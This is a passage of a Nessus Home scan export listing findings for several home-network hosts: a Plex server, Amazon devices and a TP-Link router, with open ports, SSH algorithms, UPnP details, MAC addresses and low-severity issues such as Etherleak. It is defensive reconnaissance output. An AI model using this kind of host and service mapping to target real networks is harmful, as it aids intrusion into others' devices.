modelName: Plex Media Server
modelDescription: Plex Media Server
modelName: Plex Media Server
modelNumber: 1.20.3.3437
modelURL: http://www.plexapp.com/
ServiceID: urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	serviceType: urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
	controlURL: /X_MS_MediaReceiverRegistrar/a87f7534-6657-65c8-ae14-751f8c16338d/control.xml
	eventSubURL: /X_MS_MediaReceiverRegistrar/a87f7534-6657-65c8-ae14-751f8c16338d/event.xml
	SCPDURL: /X_MS_MediaReceiverRegistrar/a87f7534-6657-65c8-ae14-751f8c16338d/scpd.xml
ServiceID: urn:upnp-org:serviceId:ContentDirectory
	serviceType: urn:schemas-upnp-org:service:ContentDirectory:1
	controlURL: /ContentDirectory/a87f7534-6657-65c8-ae14-751f8c16338d/control.xml
	eventSubURL: /ContentDirectory/a87f7534-6657-65c8-ae14-751f8c16338d/event.xml
	SCPDURL: /ContentDirectory/a87f7534-6657-65c8-ae14-751f8c16338d/scpd.xml
ServiceID: urn:upnp-org:serviceId:ConnectionManager
	serviceType: urn:schemas-upnp-org:service:ConnectionManager:1
	controlURL: /ConnectionManager/a87f7534-6657-65c8-ae14-751f8c16338d/control.xml
	eventSubURL: /ConnectionManager/a87f7534-6657-65c8-ae14-751f8c16338d/event.xml
	SCPDURL: /ConnectionManager/a87f7534-6657-65c8-ae14-751f8c16338d/scpd.xml
										None								2/19/09		6/12/20

		45590						None		192.168.0.11		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
Following application CPE matched on the remote system :

  cpe:/a:openbsd:openssh:8.2
										None								4/21/10		9/30/20

		54615						None		192.168.0.11		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 85
										None								5/23/11		5/23/11

		70657						None		192.168.0.11		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  curve25519-sha256
  curve25519-sha256@libssh.org
  diffie-hellman-group-exchange-sha256
  diffie-hellman-group14-sha256
  diffie-hellman-group16-sha512
  diffie-hellman-group18-sha512
  ecdh-sha2-nistp256
  ecdh-sha2-nistp384
  ecdh-sha2-nistp521

The server supports the following options for server_host_key_algorithms : 

  ecdsa-sha2-nistp256
  rsa-sha2-256
  rsa-sha2-512
  ssh-ed25519
  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  aes128-ctr
  aes128-gcm@openssh.com
  aes192-ctr
  aes256-ctr
  aes256-gcm@openssh.com
  chacha20-poly1305@openssh.com

The server supports the following options for encryption_algorithms_server_to_client : 

  aes128-ctr
  aes128-gcm@openssh.com
  aes192-ctr
  aes256-ctr
  aes256-gcm@openssh.com
  chacha20-poly1305@openssh.com

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-sha1
  hmac-sha1-etm@openssh.com
  hmac-sha2-256
  hmac-sha2-256-etm@openssh.com
  hmac-sha2-512
  hmac-sha2-512-etm@openssh.com
  umac-128-etm@openssh.com
  umac-128@openssh.com
  umac-64-etm@openssh.com
  umac-64@openssh.com

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-sha1
  hmac-sha1-etm@openssh.com
  hmac-sha2-256
  hmac-sha2-256-etm@openssh.com
  hmac-sha2-512
  hmac-sha2-512-etm@openssh.com
  umac-128-etm@openssh.com
  umac-128@openssh.com
  umac-64-etm@openssh.com
  umac-64@openssh.com

The server supports the following options for compression_algorithms_client_to_server : 

  none
  zlib@openssh.com

The server supports the following options for compression_algorithms_server_to_client : 

  none
  zlib@openssh.com
										None								10/28/13		8/28/17

		86420						None		192.168.0.11		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 32:8F:9E:D7:3B:45
										None								10/16/15		5/13/20

		110723						None		192.168.0.11		tcp		0		Target Credential Status by Authentication Protocol - No Credentials Provided		Nessus was able to find common ports used for local checks,
however, no credentials were provided in the scan policy.		Nessus was not able to successfully authenticate directly to the
remote target on an available authentication protocol. Nessus was
able to connect to the remote port and identify that the service
running on the port supports an authentication protocol, but Nessus
failed to authenticate to the remote service using the provided
credentials. There may have been a protocol failure that prevented
authentication from being attempted or all of the provided credentials
for the authentication protocol may be invalid. See plugin output for
error details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		n/a				SSH was detected on port 22 but no credentials were provided.
SSH local checks were not enabled.

										None				IAVB:0001-B-0504				6/27/18		10/15/20

		117886						None		192.168.0.11		tcp		0		Local Checks Not Enabled (info)		Local checks were not enabled.		Nessus did not enable local checks on the remote host. This does not
necessarily indicate a problem with the scan. Credentials may not have
been provided, local checks may not be available for the target, the
target may not have been identified, or another issue may have
occurred that prevented local checks from being enabled. See plugin
output for details.

This plugin reports informational findings related to local checks not
being enabled. For failure information, see plugin 21745 :
'Authentication Failure - Local Checks Not Run'.		n/a				
The following issues were reported :

  - Plugin      : no_local_checks_credentials.nasl
    Plugin ID   : 110723
    Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided
    Message     : 
Credentials were not provided for detected SSH service.
										None				IAVB:0001-B-0515				10/2/18		9/22/20

		10114		CVE-1999-0524		0		None		192.168.0.14		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.14		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.14 : 
192.168.0.35
192.168.0.14

Hop Count: 1
										None								11/27/99		8/20/20

		11219						None		192.168.0.14		tcp		9080		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9080/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.14		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		12053						None		192.168.0.14		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.14 resolves as amazon-9ee13af0a.
										None								2/11/04		4/14/17

		19506						None		192.168.0.14		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 201 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.14		tcp		9080		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.14		tcp		9080		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 204 No Content 


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: text/plain
  Date: Thu, 5 Nov 2020 18:11:36 GMT
  Connection: keep-alive
  Content-Length: 17
  
Response Body :

POST BODY MISSING										None								1/30/07		11/22/19

		25220						None		192.168.0.14		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35716						None		192.168.0.14		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

40:B4:CD:18:D0:8B : Amazon Technologies Inc.
										None								2/19/09		5/13/20

		45590						None		192.168.0.14		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		54615						None		192.168.0.14		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		86420						None		192.168.0.14		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 40:B4:CD:18:D0:8B
										None								10/16/15		5/13/20

		12053						None		192.168.0.15		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.15 resolves as DESKTOP-7FAM0HP.
										None								2/11/04		4/14/17

		19506						None		192.168.0.15		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 475 sec
										None								8/26/05		8/27/20

		86420						None		192.168.0.15		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 8A:20:7D:FB:7E:1A
										None								10/16/15		5/13/20

		10114		CVE-1999-0524		0		None		192.168.0.16		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.16		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.16 : 
192.168.0.35
192.168.0.16

Hop Count: 1
										None								11/27/99		8/20/20

		11197		CVE-2003-0001		3.3		Low		192.168.0.16		icmp		0		Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)		The remote host appears to leak memory in network packets.		The remote host uses a network device driver that pads ethernet frames
with data which vary from one packet to another, likely taken from
kernel memory, system memory allocated to the device driver, or a
hardware buffer on its network interface card.

Known as 'Etherleak', this information disclosure vulnerability may
allow an attacker to collect sensitive information from the affected
host provided he is on the same physical subnet as that host.		Contact the network device driver's vendor for a fix.		http://www.nessus.org/u?719c90b4		
Padding observed in one frame :

  0x00:  26 99 A1 00 00 00 00 00 00 00 00 00 00 00 00 00    &...............
  0x10:  00                                                 .               
  
Padding observed in another frame :

  0x00:  30 5F 1A 00 00 00 00 00 00 00 00 00 00 00 00 00    0_..............
  0x10:  00                                                 .
						2.6				Low		6535						1/14/03		3/6/19

		12053						None		192.168.0.16		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.16 resolves as amazon-f8b4ebb59.
										None								2/11/04		4/14/17

		19506						None		192.168.0.16		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 90 sec
										None								8/26/05		8/27/20

		35716						None		192.168.0.16		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

68:DB:F5:44:89:94 : Amazon Technologies Inc.
										None								2/19/09		5/13/20

		86420						None		192.168.0.16		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 68:DB:F5:44:89:94
										None								10/16/15		5/13/20

		10114		CVE-1999-0524		0		None		192.168.0.19		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -2 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.19		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.19 : 
192.168.0.35
192.168.0.19

Hop Count: 1
										None								11/27/99		8/20/20

		10829						None		192.168.0.19		udp		1900		UPnP Client Detection		This machine is a UPnP client.		This machine answered to a unicast UPnP NOTIFY packet by trying to
fetch the XML description that Nessus advertised.		n/a														None								12/29/01		3/6/19

		11219						None		192.168.0.19		tcp		8009		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8009/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.19		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 2.6
Confidence level : 65
Method : SinFP

 
The remote host is running Linux Kernel 2.6										None								12/9/03		3/9/20

		12053						None		192.168.0.19		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.19 resolves as amazon-f043041d8.
										None								2/11/04		4/14/17

		19506						None		192.168.0.19		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 208 sec
										None								8/26/05		8/27/20

		22964						None		192.168.0.19		tcp		8009		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		24260						None		192.168.0.19		tcp		8009		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 400 Bad Request 


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Content-Type: text/plain
  Date: Thu, 5 Nov 2020 18:12:02 GMT
  Connection: keep-alive
  Content-Length: 23
  
Response Body :

Error 400, Bad Request.										None								1/30/07		11/22/19

		25220						None		192.168.0.19		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.19		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.19:60000/upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/desc

And advertises these unique service names :

    uuid:795fa6e5-756a-327d-ba8d-6ae6a6b2a911::upnp:rootdevice

										None								2/19/09		9/12/18

		35712						None		192.168.0.19		tcp		60000		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.19:60000/upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/desc :

deviceType: urn:dial-multiscreen-org:device:dial:1
friendlyName: Poolhouse
manufacturer: Amazon
modelName: AEOCH
modelName: AEOCH
ServiceID: urn:dial-multiscreen-org:serviceId:dial
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: /upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/svc/dial-multiscreen-org/dial/action
	eventSubURL: /upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/svc/dial-multiscreen-org/dial/event
	SCPDURL: /upnp/dev/795fa6e5-756a-327d-ba8d-6ae6a6b2a911/svc/dial-multiscreen-org/dial/desc
										None								2/19/09		6/12/20

		35716						None		192.168.0.19		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

F8:54:B8:83:AB:36 : Amazon Technologies Inc.
										None								2/19/09		5/13/20

		45590						None		192.168.0.19		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:linux:linux_kernel:2.6
										None								4/21/10		9/30/20

		54615						None		192.168.0.19		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 65
										None								5/23/11		5/23/11

		86420						None		192.168.0.19		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - F8:54:B8:83:AB:36
										None								10/16/15		5/13/20

		10107						None		192.168.0.2		tcp		80		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

Router Webserver										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10267						None		192.168.0.2		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-dropbear_2012.55
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.2		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.2 : 
192.168.0.35
192.168.0.2

Hop Count: 1
										None								11/27/99		8/20/20

		10386						None		192.168.0.2		tcp		80		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				
The following body tag will be used :
><script language="javaScript"window.parent.document.cookie="Authorization=;path=/";										None								4/28/00		6/12/20

		10881						None		192.168.0.2		tcp		22		SSH Protocol Versions Supported		A SSH server is running on the remote host.		This plugin determines the versions of the SSH protocol supported by
the remote SSH daemon.		n/a				The remote SSH daemon supports the following versions of the
SSH protocol :

  - 1.99
  - 2.0
										None								3/6/02		2/18/20

		11026						None		192.168.0.2		tcp		0		Wireless Access Point Detection		The remote host is a wireless access point.		Nessus has determined that the remote host is a wireless access point
(AP).

Ensure that proper physical and logical controls are in place for its
use. A misconfigured access point may allow an attacker to gain access
to an internal network without being physically present on the
premises. If the access point is using an 'off-the-shelf'
configuration (such as 40 or 104 bit WEP encryption), the data being
passed through the access point may be vulnerable to hijacking or
sniffing.		n/a				
Nessus has determined that this device is an access point based on a
phrase found on the server's default web page. That is, Nessus
maintains a list of commonly-used technical phrases which can be
associated with wireless technologies. When Nessus encounters these
phrases during a scan, a determination is made regarding the nature of
the device. The exact phrase which Nessus flagged on is :

  ealm="TP-LINK Wireless Dual Band 
										None								6/9/02		6/12/20

		11219						None		192.168.0.2		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.2		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.2		tcp		1900		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 1900/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.2		tcp		20005		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 20005/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.2		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
